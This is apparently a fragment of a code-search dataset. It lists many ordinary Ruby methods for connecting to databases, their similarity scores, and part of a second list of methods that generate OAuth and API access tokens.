"def connect_to_migration_db\n ActiveRecord::Base.establish_connection(\n adapter: 'postgresql',\n encoding: 'unicode',\n pool: 10,\n url: ENV['MIGRATION_DB_URL']\n )\n ActiveRecord::Base.connection.execute(\n \"SET SESSION CHARACTERISTICS AS TRANSACTION READ ONLY;\"\n )\n end",
"def connection\n @db = Connection.client\nend",
"def db\n @db ||= find_or_create_database\n end",
"def database_engine\n :mysql\n end",
"def connect_local_admin\n ActiveRecord::Base.establish_connection(\n :adapter => 'postgresql',\n :schema_search_path => 'public',\n :encoding => 'unicode',\n :database => 'postgres',\n :username => ENV['DB_USERNAME'], # accessmon\n :password => ENV['DB_PASSWORD'],\n :pool => POOL_COUNT,\n :port => PORT_NUMBER,\n :host => 'localhost')\n end",
"def openthedatabase\n @db = SQLite3::Database.new(@thedatabase)\nend",
"def tables; ActiveRecord::Base.connection.tables; end",
"def activerecord_connect\n Sequel.connect(\n adapter: activerecord_config.fetch(\"adapter\"),\n database: activerecord_config.fetch(\"database\"),\n )\n end",
"def connect_to(env)\n ActiveRecord::Base.establish_connection YAML.safe_load(File.open(Rails.root.join(\"config/database.yml\")).read)[env.to_s]\n end",
"def connection\n return nil unless has_connection?\n ActiveRecord::Base.connection\n end",
"def setup!\n ActiveRecord::Base.configurations[configuration_name] = db_config\n ActiveRecord::Base.establish_connection(configuration_name).connection\n self\n end",
"def connect_non_hash\r\n db=SQLite3::Database.new(\"db/slutpro.db\")\r\n return db\r\n end",
"def db; end",
"def db; end",
"def connect dbname=nil\n dbname ||= getdbname\n return nil unless dbname\n #$log.debug \"XXX: CONNECT got #{dbname} \"\n $current_db = dbname\n $db = SQLite3::Database.new(dbname) if dbname\n return $db\nend",
"def ensure_db_connection\n conn = ActiveRecord::Base.connection\n begin\n try ||= 3\n conn.reconnect!\n rescue\n try -= 1\n # There is a issue where connection closed unexpectedly, need retry\n retry if try > 0\n end\n end",
"def setup\n DBHandler.establish_test_connection\n end",
"def db\n framework.db.active\n end",
"def use_database(subdomain)\n ActiveRecord::Base.establish_connection(website_connection(subdomain))\n end",
"def new_connection(params)\n Pod4.logger.info(__FILE__){ \"Connecting to DB\" }\n client = TinyTds::Client.new(params)\n raise \"Bad Connection\" unless client.active?\n\n client.execute(\"use [#{self.class.db}]\").do\n\n client\n\n rescue => e\n handle_error(e)\n end",
"def use_test_database\n # log.debug \"Setting up test database\"\n options = { database_env: 'test' }\n if Translatomatic::Database.enabled?(options)\n Translatomatic::Database.new(options)\n else\n # log.debug \"database is disabled\"\n TestConfig.instance.database_disabled = true\n nil\n end\n end",
"def disconnect_db\n ActiveRecord::Base.connection_handler.clear_active_connections!\n ActiveRecord::Base.connection.disconnect!\n ActiveRecord::Base.connection.close\n log(\"Disconnected from database\")\nrescue => e\n fatal(\"Failed to disconnect from the database: #{e}\")\n exit\nend",
"def conn\n builder.conn || ::ActiveRecord::Base.connection\n end",
"def db\r\n @db ||= PG.connect(\r\n host: ENV['HOST'],\r\n user: ENV['USER_NAME'],\r\n password: ENV['PASSWORD'],\r\n dbname: ENV['DATABASE']\r\n )\r\nend",
"def db\n Doozer::Configs.db_conn\n end",
"def db\n Doozer::Configs.db_conn\n end",
"def allow_remote_database_url; end",
"def database\n Database.initialize_with(connection)\n end",
"def connect(opts={})\n\n\t\treturn false if not @usable\n\n\t\tnopts = opts.dup\n\t\tif (nopts['port'])\n\t\t\tnopts['port'] = nopts['port'].to_i\n\t\tend\n\n\t\tnopts['pool'] = 256\n\n\t\tbegin\n\t\t\tcreate_db(nopts)\n\n\t\t\t# Configure the database adapter\n\t\t\tActiveRecord::Base.establish_connection(nopts)\n\n\t\t\t# Migrate the database, if needed\n\t\t\tmigrate\n\n\t\t\t# Set the default workspace\n\t\t\tframework.db.workspace = framework.db.default_workspace\n\t\trescue ::Exception => e\n\t\t\tself.error = e\n\t\t\telog(\"DB.connect threw an exception: #{e}\")\n\t\t\tdlog(\"Call stack: #{[email protected]\"\\n\"}\", LEV_1)\n\t\t\treturn false\n\t\tensure\n\t\t\t# Database drivers can reset our KCODE, do not let them\n\t\t\t$KCODE = 'NONE' if RUBY_VERSION =~ /^1\\.8\\./\n\t\tend\n\n\tend",
"def connect\n config = @connection_options\n @connection = case config[:mode]\n when :dblib\n appname = config[:appname] || configure_application_name || Rails.application.class.name.split('::').first rescue nil\n login_timeout = config[:login_timeout].present? ? config[:login_timeout].to_i : nil\n timeout = config[:timeout].present? ? config[:timeout].to_i/1000 : nil\n encoding = config[:encoding].present? ? config[:encoding] : nil\n TinyTds::Client.new({\n :dataserver => config[:dataserver],\n :host => config[:host],\n :port => config[:port],\n :username => config[:username],\n :password => config[:password],\n :database => config[:database],\n :appname => appname,\n :login_timeout => login_timeout,\n :timeout => timeout,\n :encoding => encoding,\n :azure => config[:azure]\n }).tap do |client|\n if config[:azure]\n client.execute(\"SET ANSI_NULLS ON\").do\n client.execute(\"SET CURSOR_CLOSE_ON_COMMIT OFF\").do\n client.execute(\"SET ANSI_NULL_DFLT_ON ON\").do\n client.execute(\"SET IMPLICIT_TRANSACTIONS OFF\").do\n client.execute(\"SET ANSI_PADDING ON\").do\n client.execute(\"SET QUOTED_IDENTIFIER ON\")\n client.execute(\"SET ANSI_WARNINGS ON\").do\n else\n client.execute(\"SET ANSI_DEFAULTS ON\").do\n client.execute(\"SET CURSOR_CLOSE_ON_COMMIT OFF\").do\n client.execute(\"SET IMPLICIT_TRANSACTIONS OFF\").do\n end\n client.execute(\"SET TEXTSIZE 2147483647\").do\n end\n when :odbc\n if config[:dsn].include?(';')\n driver = ODBC::Driver.new.tap do |d|\n d.name = config[:dsn_name] || 'Driver1'\n d.attrs = config[:dsn].split(';').map{ |atr| atr.split('=') }.reject{ |kv| kv.size != 2 }.inject({}){ |h,kv| k,v = kv ; h[k] = v ; h }\n end\n ODBC::Database.new.drvconnect(driver)\n else\n ODBC.connect config[:dsn], config[:username], config[:password]\n end.tap do |c|\n begin\n c.use_time = true\n c.use_utc = ActiveRecord::Base.default_timezone == :utc\n rescue Exception => e\n warn \"Ruby ODBC v0.99992 or higher is required.\"\n end\n end\n end\n @spid = _raw_select('SELECT @@SPID', fetch: :rows).first.first\n configure_connection\n rescue\n raise unless @auto_connecting\n end",
"def connection\n @connection || ActiveSdb::connection\n end",
"def create_database\n options = { database: Orientdb::ORM.connection_uri.database, user: Orientdb::ORM.connection_uri.user, password: Orientdb::ORM.connection_uri.password, type: :graph, storage: :memory }\n Orientdb::ORM.with { |conn| conn.client.create_database( options ) }\nend",
"def setup_storage\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: 'meshchat.sqlite3',\n pool: 128\n )\n\n create_database\n end",
"def test_nil_timeout\n conn = Base.sqlite3_connection database: \":memory:\",\n adapter: \"sqlite3\",\n timeout: nil\n conn.connect!\n assert conn, \"made a connection\"\n end",
"def connection\n @connection ||= begin\n active_record = Class.new(_orel_options.active_record)\n Orel::Connection.new(active_record)\n end\n end",
"def get_db_connection\n config = read_database_config\n if config.dig(:adapter) == 'postgresql'\n config[:user] = config.delete(:username) if config[:username]\n config[:dbname] = config.delete(:database) if config[:database]\n config.delete(:adapter)\n valid_param_keys = PG::Connection.conndefaults_hash.keys + [:requiressl]\n config.slice!(*valid_param_keys)\n @db ||= PG::Connection.new(config)\n elsif config.dig(:adapter) == 'mysql2'\n @db ||= Mysql2::Client.new(config)\n else\n @db ||= SQLite3::Database.open(\"spectacles-#{Rails.env}.db\")\n end\n end",
"def initialize\n #puts \"in initialize of class #{self.class.to_s}\"\n\n @store = get_store\n ActiveRecord::Base.connection = @store\n end",
"def subscribe_sql_active_record; end",
"def db\n @db ||= new_connection\n end",
"def connect_remote_admin\n ActiveRecord::Base.establish_connection(\n :adapter => 'postgresql',\n :schema_search_path => 'public',\n :encoding => 'unicode',\n :database => 'postgres',\n :username => ENV['DB_USERNAME'], # accessmon\n :password => ENV['DB_PASSWORD'],\n :pool => POOL_COUNT,\n :port => PORT_NUMBER,\n :host => ENV['DB_HOST'])\n end",
"def default_connection\n\t @default_config ||= ActiveRecord::Base.connection.instance_variable_get(\"@config\").dup\n\tend",
"def orm; end",
"def initialize_database \n Object.send :const_set, :ORD, ActiveOrient::OrientDB.new( preallocate: false )\n if OrientDB::UsingJava\n Object.send :const_set, :DB, ActiveOrient::API.new( preallocate: false )\n else\n Object.send :const_set, :DB, ORD # ActiveOrient::OrientDB.new( preallocate: true )\n end\n\nend",
"def initialize_database \n Object.send :const_set, :ORD, ActiveOrient::OrientDB.new( preallocate: false )\n if OrientDB::UsingJava\n Object.send :const_set, :DB, ActiveOrient::API.new( preallocate: false )\n else\n Object.send :const_set, :DB, ORD # ActiveOrient::OrientDB.new( preallocate: true )\n end\n\nend",
"def dbmigrate!\n ActiveRecord::Base.establish_connection(PuppetHerald.database.spec)\n ActiveRecord::Migrator.up 'db/migrate'\n ActiveRecord::Base.clear_active_connections!\n nil\n end",
"def db\n $db ||= Db.new database: 'results.db'\nend",
"def default_database; ENV['APP_DB'] end",
"def test_local_core_connection\n \n # Change username, password, host and port in order to test the connection with a different Ensembl db server\n assert_nothing_raised do \n Ensembl::Core::DBConnection.connect('Homo sapiens',56,:username => \"anonymous\",:host => \"ensembldb.ensembl.org\", :port => 5306)\n end\n end",
"def connect_database\n begin\n db = PG.connect( :dbname => 'artdb' )\n rescue PGError\n puts 'Failed to connect to artdb database.'\n end\n return db\nend",
"def connect!(value = nil)\n Sequel.connect(Config.database_url, connect_sqls: connect_sqls(value)).tap do |db|\n db.extension :pg_array\n db.extension :pg_json\n db.extension :pg_enum\n db.extension :auto_literal_strings\n db.extension :null_dataset\n end\n end",
"def target_sql_mode; end",
"def db_cached_connect\n @dbh or db_connect\n end",
"def db_cached_connect\n @dbh or db_connect\n end",
"def db\n self.class.db\n end",
"def db\n\t\tframework.db.active\n\tend",
"def database\n @@db\n end",
"def active_connection\n super\n end",
"def initializeORM()\n\t# nothing to do\nend",
"def test_nil_timeout\n conn = Base.sqlite3_connection :database => ':memory:',\n :adapter => 'sqlite3',\n :timeout => nil\n assert conn, 'made a connection'\n end",
"def setup_connection(conn)\n conn = super(conn)\n conn.extend(Sequel::Swift::Postgres::AdapterMethods)\n conn.db = self\n conn.apply_connection_settings\n conn\n end",
"def use_database(db)\n self.database = db\n end",
"def inject_conn_into_models\n BaseModel.connection = self\n end",
"def sql_modes; end",
"def test_should_not_crash_selects_in_the_double_read_only_window\n ActiveRecord::Base.connection\n $mysql_master.set_rw(false)\n $mysql_slave.set_rw(false)\n assert_equal $mysql_master, master_connection\n 100.times do\n User.first\n end\n end",
"def determine_database\n self.class.database \n end",
"def reconnect\n @mutex.synchronize do\n if @db.opts[:conn]\n @jdbc_loaded = true\n @conn = @db.opts.fetch(:conn)\n else\n com.mysql.cj.jdbc.Driver\n @conn = java.sql::DriverManager.getConnection(jdbc_connect_command)\n end\n\n query_no_result_set(\"SET SQL_MODE = ''\")\n query_no_result_set(\"SET NAMES '#{esc(@encoding)}'\") if @encoding\n end\n end",
"def initialize\n @database = Sequel.connect(ENV['DATABASE_URL'])\n end",
"def connection_class; end",
"def get_legacy_db_conn\n Mysql2::Client.new(:host => ENV[\"SDBMSS_LEGACY_DB_HOST\"],\n :username => ENV[\"SDBMSS_LEGACY_DB_USER\"],\n :database => ENV[\"SDBMSS_LEGACY_DB_NAME\"],\n :password => ENV[\"SDBMSS_LEGACY_DB_PASSWORD\"],\n )\n end",
"def db\n @connection.pg rescue nil\n end",
"def _db\n @_db ||= Sequel::DATABASES.first || Sequel.sqlite\n end",
"def create_db(opts)\n\t\tbegin\n\t\t\tcase opts[\"adapter\"]\n\t\t\twhen 'sqlite3'\n\t\t\t\t# Sqlite just needs the file to be writable. ActiveRecord creates\n\t\t\t\t# it if it doesn't exist and checks permissions if it does. This\n\t\t\t\t# all happens during establish_connection(), so we don't need to\n\t\t\t\t# bother with creating anything here.\n\t\t\twhen 'postgresql','mysql'\n\t\t\t\tActiveRecord::Base.establish_connection(opts.merge('database' => nil))\n\t\t\t\tActiveRecord::Base.connection.create_database(opts['database'])\n\t\t\t\tActiveRecord::Base.remove_connection\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tilog(\"Trying to continue despite failed database creation: #{e}\")\n\t\tend\n\tend",
"def default_connection\n @default_config ||= ActiveRecord::Base.connection.instance_variable_get(\"@config\").dup\n end",
"def default_connection=(_arg0); end",
"def default_connection=(_arg0); end",
"def default_connection=(_arg0); end"
] | [
"0.7385665",
"0.71668893",
"0.71668893",
"0.71224797",
"0.70422375",
"0.7028706",
"0.7013474",
"0.69961834",
"0.68992656",
"0.6873064",
"0.68022835",
"0.67683685",
"0.6680943",
"0.66615087",
"0.6655488",
"0.6602563",
"0.6589965",
"0.6566522",
"0.64215326",
"0.6418039",
"0.63538224",
"0.6348817",
"0.6334748",
"0.62668055",
"0.6235769",
"0.61504436",
"0.6144424",
"0.60867697",
"0.6069016",
"0.6058297",
"0.6037351",
"0.59969795",
"0.5986474",
"0.59693265",
"0.59437567",
"0.59364295",
"0.59184134",
"0.5916558",
"0.5916558",
"0.58962244",
"0.5893716",
"0.5888317",
"0.5863334",
"0.5862635",
"0.58598125",
"0.58524317",
"0.5844733",
"0.58062327",
"0.57790524",
"0.5778363",
"0.5778363",
"0.577625",
"0.57719165",
"0.57695746",
"0.5756917",
"0.5756863",
"0.5750605",
"0.57156026",
"0.57115287",
"0.5710368",
"0.57070273",
"0.569329",
"0.5681076",
"0.56655395",
"0.5659205",
"0.5658882",
"0.565068",
"0.564989",
"0.564989",
"0.5635724",
"0.56271094",
"0.5624292",
"0.561841",
"0.5616997",
"0.56051314",
"0.55921715",
"0.55895704",
"0.55895704",
"0.55849266",
"0.5584881",
"0.55802536",
"0.55782497",
"0.5576535",
"0.5570147",
"0.55584484",
"0.5554866",
"0.55500364",
"0.5544144",
"0.5539118",
"0.5526782",
"0.5522734",
"0.5514885",
"0.5506042",
"0.55032384",
"0.55027604",
"0.5500251",
"0.5499177",
"0.5495627",
"0.5492854",
"0.5492854",
"0.5492854"
] | 0.0 | -1 |
Create Fitness base on `access_token` and `authentication_token` | def create_fitness(options={})
options = {
access_token: options[:access_token],
fitness: {
timestamp: options[:timestamp],
primary_type: options[:primary_type],
intensity: options[:intensity],
start_time: options[:start_time],
total_distance: options[:total_distance],
duration: options[:duration],
source: options[:source]
}
}
response = post("/#{Validic.api_version}/fitness.json", options)
response if response
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n puts \"MESSAGE 14 IN CREATE\"\n @auth = request.env['omniauth.auth']['credentials']\n # The following statement saves the tokens to the database\n Token.create(\n access_token: @auth['token'],\n refresh_token: @auth['refresh_token'],\n expires_at: Time.at(@auth['expires_at']).to_datetime)\n end",
"def generate_access_token\n self.access_token ||= self.create_access_token\n save && access_token\n end",
"def create_one_time_token\n @one_time_token =\n JSON::JWT.new(iss: 'try-it-juku-test',\n exp: 5.minutes.since,\n nbf: Time.current,\n sub: { shin_cd: @current_chief.shin_cd })\n .sign(ACCESS_TOKEN_SIGNATURE, :HS256).to_s\n end",
"def create_token\n client_requested_expires_in = server.jwt['exp'].to_i - server.jwt['iat'].to_i\n server_expires_in = Authorization::Token.access_token_expires_in(configuration, client)\n if server_expires_in\n expires_in = (client_requested_expires_in > 0 && client_requested_expires_in <= server_expires_in) ? client_requested_expires_in : server_expires_in\n else\n expires_in = nil\n end\n @access_token = AccessToken.find_or_create_for(application: client.application, resource_owner: resource_owner, scopes: scopes, expires_in: expires_in, use_refresh_token: configuration.refresh_token_enabled?)\n end",
"def build_token_hash\n { 'access_token' => access_token }\n end",
"def create\n require 'digest/sha1'\n \n @access_token = AccessToken.new\n @access_token.user_id = current_user.id\n @access_token.last_access = Time.now\n @access_token.token = Digest::SHA1.hexdigest Time.now.to_s\n @access_token.active = true\n \n respond_to do |format|\n if @access_token.save\n format.html { redirect_to(@access_token, :notice => 'Access token was successfully created.') }\n format.xml { render :xml => @access_token, :status => :created, :location => @access_token }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @access_token.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @facebook_token = current_user.build_facebook_token(facebook_token_params)\n respond_to do |format|\n if @facebook_token.save\n format.json { render :show, status: :created, location: @facebook_token }\n else\n format.json { render json: @facebook_token.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_access_token\n begin\n self.access_token = User.new_token\n end while ApiKey.exists?(access_token: access_token)\n end",
"def create_access_token\n hash = nil\n Songkick::OAuth2.generate_id do |token|\n hash = Songkick::OAuth2.hashify(token) \n end\n return hash\n end",
"def generate_token\n self.status = STATUS[:present]\n self.access_token = SecureRandom.urlsafe_base64(45, true)\n self.expires = Time.zone.now.to_i + TOKEN_LIFE\n self.login_time = Time.zone.now\n self.user_events.build(event_name: 'Login', event_time: Time.zone.now)\n save\n self.access_token\n end",
"def create\n @access_token = AccessToken.new(params[:access_token])\n\n respond_to do |format|\n if @access_token.save\n format.html { redirect_to @access_token, notice: 'Access token was successfully created.' }\n format.json { render json: @access_token, status: :created, location: @access_token }\n else\n format.html { render action: \"new\" }\n format.json { render json: @access_token.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_jwt_token\n payload = {\n iat: Time.now.to_i, # Issued at time.\n exp: (10 * 60) + Time.now.to_i, # JWT expiration time.\n iss: APP_ID # Integration's GitHub identifier.\n }\n JWT.encode(payload, PRIVATE_KEY, 'RS256')\n end",
"def set_access_token\n access_tokens.create(token: SecureRandom.urlsafe_base64(20))\n end",
"def access_token\n User.create_access_token(self)\n end",
"def create\n\t\tresp = Faraday.get(\"https://foursquare.com/oauth2/access_token\") do |req|\n\t\t\treq.params['client_id'] = ENV['DOHRFWJ4ADKXBXEPFGYU0VMZUWX0135GA3GG1EP0Z5JM0HVS']\n\t\t\treq.params['client_secret'] = ENV['UARMZQVBWT1EHSMRGR52U4TZLEYQISFC0SSBGHUYY3FQ0D1X']\n\t req.params['grant_type'] = 'authorization_code'\n\t req.params['redirect_uri'] = \"http://localhost:3000/auth\"\n req.params['code'] = params[:code]\n end\n\n body = JSON.parse(resp.body)\n session[:token] = body[\"access_token\"]\n redirect_to root_path\n end",
"def create\n\t\t# when you authorize Foursquare, it send back to /auth with the :code in the params \n\t\tresp = Faraday.get('https://foursquare.com/oauth2/access_token') do |req|\n\t\t\treq.params['client_id'] = ENV['FOURSQUARE_CLIENT_ID']\n\t\t req.params['client_secret'] = ENV['FOURSQUARE_SECRET']\n\t\t req.params['grant_type'] = 'authorization_code'\n\t\t req.params['redirect_uri'] = \"http://localhost:3000/auth\"\n\t\t req.params['code'] = params[:code]\n\t\tend\n\t\tbody = JSON.parse(resp.body)\n\t\tsession[:token] = body[\"access_token\"]\n\t\tredirect_to root_path\n\tend",
"def build_token(access_token)\n return OAuth2::AccessToken.new CLIENT, access_token\n end",
"def create\n client.authorization_code = params[:code]\n access_token = client.access_token!\n puts access_token\n end",
"def generate_token (id, number_of_days)\n JWT.encode({ :user_id => id, :expires => expires_in(number_of_days) }, 'somesecrethere')\n end",
"def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end",
"def create_token\n return api_call('request-token',{\"apiKey\"=> @@_api_key });\n end",
"def authenticate\n Access.new(\n 'access_token' => access_token,\n 'token_type' => token_type,\n 'expires_in' => 1 << (1.size * 8 - 2) - 1 # Max int value\n )\n end",
"def gen_tokens\n self.access_token = SecureRandom.hex(16)\n end",
"def create\n if !session[:request_token] || !session[:request_token_secret]\n flash[:error] = \"There was an error authorizing Netflix\"\n redirect_to root_url\n else\n @request_token=OAuth::RequestToken.new(oauth_consumer, session[:request_token],\n session[:request_token_secret])\n @access_token = @request_token.get_access_token\n \n @user = current_user\n @user.netflix_token = @access_token.token\n @user.netflix_token_secret = @access_token.secret\n @user.netflix_user_id = @access_token.params[:user_id]\n @user.save\n \n flash[:notice] = \"Netflix successfully authorized\"\n redirect_to root_url\n end\n end",
"def create\n auth = request.env[\"omniauth.auth\"] \n user = User.find_by_fb_id(auth[\"uid\"]) || User.create_with_omniauth(auth) \n #for those update from feeds\n if user.access_token.empty?\n user.access_token = auth[\"credentials\"][\"token\"]\n user.save\n end\n redirect_to FB_APP_URL \n end",
"def createFromParsedJson(json)\n expires_in = json['expires_in']\n access_token = json['access_token']\n refresh_token = json['refresh_token']\n\n now = Time.now.to_i\n\n if expires_in\n #if expires_in is 0 then set expiration to 100 years\n if expires_in.to_i == 0\n expiry = now + (60*60*24*365*100) - 30 \n else\n expiry = now + expires_in.to_i - 30 \n end\n end\n\n refresh_expiry = now + DEFAULT_REFRESH_EXPIRES_IN\n\n new(access_token, expiry, refresh_token, expires_in, refresh_expiry)\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def create_token(id, username)\n JWT.encode(payload(id, username), ENV['JWT_SECRET'], 'HS256')\n end",
"def create_token(id, username)\n JWT.encode(payload(id, username), ENV['JWT_SECRET'], 'HS256')\n end",
"def get_new_access_token\n now = Time.now\n params = {\n body: {\n grant_type: 'urn:ietf:params:oauth:grant-type:uma-ticket',\n ticket: retrieve_ticket,\n client_id: key_info['oxtrust_client_id'],\n client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',\n client_assertion: generate_json_web_token(now),\n scope: 'oxtrust-api-read oxtrust-api-write'\n }\n }\n req = HTTParty.post('https://localhost/oxauth/restv1/token', params)\n if req.code == 200\n token = req['access_token']\n save_access_token(token, now.to_i + 86_400)\n token\n else\n Puppet.err(\n \"Gluu API HTTP #{req.code}: #{req['error_description']}\",\n )\n end\n end",
"def create(body = {})\n @client.token.create(body)\n end",
"def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n# redirect_to dashboard_url\n redirect_to root_url\n end",
"def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token! :client_auth_body\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n redirect_to dashboard_url\n end",
"def generate_authentication_token\n self.auth_token = User.new_token\n\t\t\tself.auth_expires_at = Time.now + 240.hours\n\tend",
"def create_access_tokens(account_number, access_token_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/access-tokens'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.post query_url, headers: headers, parameters: access_token_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def create\n results = ->{\n if params[:token_key].present?\n token = ApiToken.where(token_key: params[:token_key], token_secret: params[:token_secret]).first rescue nil\n token.reset_token_and_key(true) if token.present?\n end\n\n # Attempt to set to the current user, even if current token key is bad\n token ||= current_user.api_token if current_user?\n token ||= ApiToken.create\n\n if token && !token.new_record?\n {success: true, authentication: token.to_api}\n else\n {error: true}\n end\n }\n\n respond_to do |format|\n format.json { render json: results.call, callback: params[:callback] }\n end\n end",
"def register\n \n # Create a new user if necessary\n @current_user = User.find_or_initialize_by_facebook_id(params[:facebook_id])\n @current_user.facebook_access_token = params[:facebook_access_token]\n @current_user.first_name = params[:facebook_first_name]\n @current_user.last_name = params[:facebook_last_name]\n @current_user.full_name = params[:facebook_name]\n @current_user.save\n \n # Generate a random token for this user if this is the first time and setting create_at\n if @current_user.access_token.nil?\n @current_user.update_attribute('access_token', SecureRandom.hex(64))\n @current_user.set_joined_at\n end\n \n # Adding everyone to party pod where pod_id=1\n @current_user.add_to_pod(1)\n \n # Fetch friends for current user\n # find_friends_for_facebook_id(@current_user.facebook_id, nil)\n \n # The response only local access_token \n session_response_hash = {:access_token => @current_user.access_token}\n \n respond_to do |format|\n format.xml { render :xml => session_response_hash.to_xml }\n format.json { render :json => session_response_hash.to_json }\n end\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token_request options = {}\n options = deep_hash_normalize options\n\n parameters = { \"grant_type\" => grant_type }\n case grant_type\n when \"authorization_code\"\n parameters[\"code\"] = code\n parameters[\"redirect_uri\"] = redirect_uri\n when \"password\"\n parameters[\"username\"] = username\n parameters[\"password\"] = password\n when \"refresh_token\"\n parameters[\"refresh_token\"] = refresh_token\n when \"urn:ietf:params:oauth:grant-type:jwt-bearer\"\n parameters[\"assertion\"] = to_jwt options\n else\n if redirect_uri\n # Grant type was intended to be `authorization_code` because of\n # the presence of the redirect URI.\n raise ArgumentError, \"Missing authorization code.\"\n end\n parameters.merge! extension_parameters\n end\n parameters[\"client_id\"] = client_id unless client_id.nil?\n parameters[\"client_secret\"] = client_secret unless client_secret.nil?\n if options[:scope]\n parameters[\"scope\"] = options[:scope]\n elsif options[:use_configured_scope] && !scope.nil?\n parameters[\"scope\"] = scope\n end\n additional = additional_parameters.merge(options[:additional_parameters] || {})\n additional.each { |k, v| parameters[k.to_s] = v }\n parameters\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def create\n @model = AccessToken.new(access_token_params)\n @model.user = current_user\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: 'Access token was successfully created.' }\n format.json { render :show, status: :created, location: @model }\n else\n format.html { render :new }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_jwt\n Knock::AuthToken.new(payload: { sub: current_user.id }).token\n end",
"def generate_authentication_token\n begin\n self.access_token = Devise.friendly_token\n end while self.class.exists?(access_token: access_token)\n end",
"def fresh_token\n refresh! if token_expired?\n access_token\n end",
"def create\n self.resource = warden.authenticate!(scope: :user)\n token = Tiddle.create_and_return_token(resource, request)\n render json: { authentication_token: token }\n end",
"def create_2f_authorization(client)\n two_factor = Configuration.ask_for_two_factor\n\n create_authorization_token(client, two_factor)\n end",
"def create_token\n @account_token = SecureRandom.urlsafe_base64(nil, false)\n @authentication_token = create_authentication_token\n key = account_token_key(@account_token)\n redis_token = Redis::HashKey.new(key)\n expire_time = DateTime.now + ACCOUNT_TOKEN_TTL\n redis_token.bulk_set({expire_at: expire_time.to_s, authentication_token: @authentication_token})\n redis_token.expireat(expire_time.to_i)\n update_app_info\n {account_token: @account_token, authentication_token: @authentication_token}\n end",
"def create_from_fb\n fb_user = FbGraph::User.fetch(\n \"me?fields=first_name,last_name,\"\\\n \"gender,email,birthday\",\n :access_token => params[:access_token])\n\n @user = User.add_from_fb(fb_user,@source)\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def create_request_token(params={})\n RequestToken.create :client_application => self, :callback_url=>self.token_callback_url\n end",
"def create_token(token_request, opts = {})\n data, _status_code, _headers = create_token_with_http_info(token_request, opts)\n data\n end",
"def init_access_token(params)\n @access_token = request_token.get_access_token(params)\n end",
"def create_api_token\n begin\n ApiToken.create(api_consumer: self)\n end\n end",
"def initialize(client_id:, client_secret:, token:, refresh_token:, expires_at:)\n @basic_token = Base64.strict_encode64(\"#{client_id}:#{client_secret}\")\n\n @oauth2_client = OAuth2::Client.new(client_id, client_secret,\n authorize_url: 'https://www.fitbit.com/oauth2/authorize',\n token_url: 'https://api.fitbit.com/oauth2/token')\n\n opts = { refresh_token: refresh_token,\n expires_at: expires_at }\n @access_token = OAuth2::AccessToken.new(@oauth2_client, token, opts)\n end",
"def create\n user = User.find_by(email: auth_params[:email])\n if user&.valid_password?(auth_params[:password])\n @token = user.api_tokens.find_or_create_by(name: (auth_params[:name] || \"default\")) do |token|\n token.make_token.save!\n end\n render json: {\n token: @token.token\n }\n else\n head :unauthorized\n end\n end",
"def fresh_token\n refresh! if expired?\n access_token\n end",
